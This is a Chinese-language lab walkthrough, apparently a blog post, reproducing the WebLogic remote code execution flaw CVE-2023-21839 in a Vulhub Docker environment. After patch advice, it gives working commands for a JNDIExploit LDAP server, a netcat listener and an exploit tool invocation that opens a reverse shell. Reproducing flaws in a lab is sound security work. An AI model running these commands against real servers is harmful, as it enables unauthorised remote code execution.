一 、漏洞简介

1、背景概述

WebLogic是Oracle公司研发的用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器，在全球范围内被广泛使用。

1月18日，Oracle发布安全公告，修复了一个存在于WebLogic Core中的远程代码执行漏洞（CVE-2023-21839），该漏洞的CVSSv3评分为7.5，可在未经身份验证的情况下通过T3、IIOP协议远程访问并破坏易受攻击的WebLogic Server，成功利用该漏洞可能导致未授权访问和敏感信息泄露。

2、漏洞告警等级

高危

3、影响范围

Oracle Weblogic Server 12.2.1.3.0 Oracle Weblogic Server 12.2.1.4.0 Oracle Weblogic Server 14.1.1.0.0

4、解决方案

安装Oracle WebLogic Server最新安全补丁 关闭T3和iiop协议端口

5、相关工具已打包，地址放在文末

二、复现环境

为了简单粗暴，我这边只用两台机器 靶机（搭建的Vulhub漏洞测试靶场），监听机（反弹shell）：这里我统一选择使用kali:192.168.199.129 攻击机（本地主机）：使用CVE-2023-21839工具发起exp攻击

三、环境搭建

1、使用docker，docker-compose搭建Vulhub

cve-2023-21839docker-compose下载 将部署配置文件拖进kali桌面，进去文件夹，单击右键，在终端打开

sudo docker-compose up -d 

由于我这边已经部署过了，就不给大家具体展示安装过程了 因为我这边是普通用户模式，不想加sudo的可以su - root 输入root密码，然后cd到相应的目录下即可。

查看我们创建的漏洞环境是否正常启动

docker ps

如图所示，环境已部署成功

2、验证漏洞环境

打开浏览器输入kali的ip地址加端口号 192.168.199.129:7001 如图所示显示安装成功 输入地址访问测试页面

http://192.168.199.129:7001/console/login/LoginForm.jsp

3、漏洞复现

漏洞利用工具下载地址 JNDIExploit Weblogic CVE-2023-21839 RCE 使用前先检查自己java版本

java -version

（1）使用工具JNDIExploit-1.4-SNAPSHOT.jar在kali上设置监听： 先进入JNDIExploit目录

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.199.129

（2）在kail配置监听端口 ctrl+shift+T开启一个新的窗口

nc -lvvp xxxx
##这里端口任意，对应的下面攻击的端口号

（3）使用CVE-2023-21839工具来进行攻击测试（由于我是本机进行攻击测试，首先将工具用go进行编译，在执行相关操作） 注：此操作在本地和kali上进行都可以，由于我本地有go语言环境就不在kali上给大家进行演示了，本地go语言环境大家自行参考相关教程进行安装配置，加入环境变量 安装好go环境，测试一下

go version

用go编译工具

go build -o main.go

执行攻击测试

./main.exe -ip 192.168.199.128 -port 7001 -ldap ldap://192.168.199.129:1389/Basic/ReverseShell/192.168.199.129/7788

现在我们去kali看一下监听情况，这里我们可以看到，攻击成功 监听成功，成功反弹shell 至此关于cve-2023-21839的漏洞复现全部结束！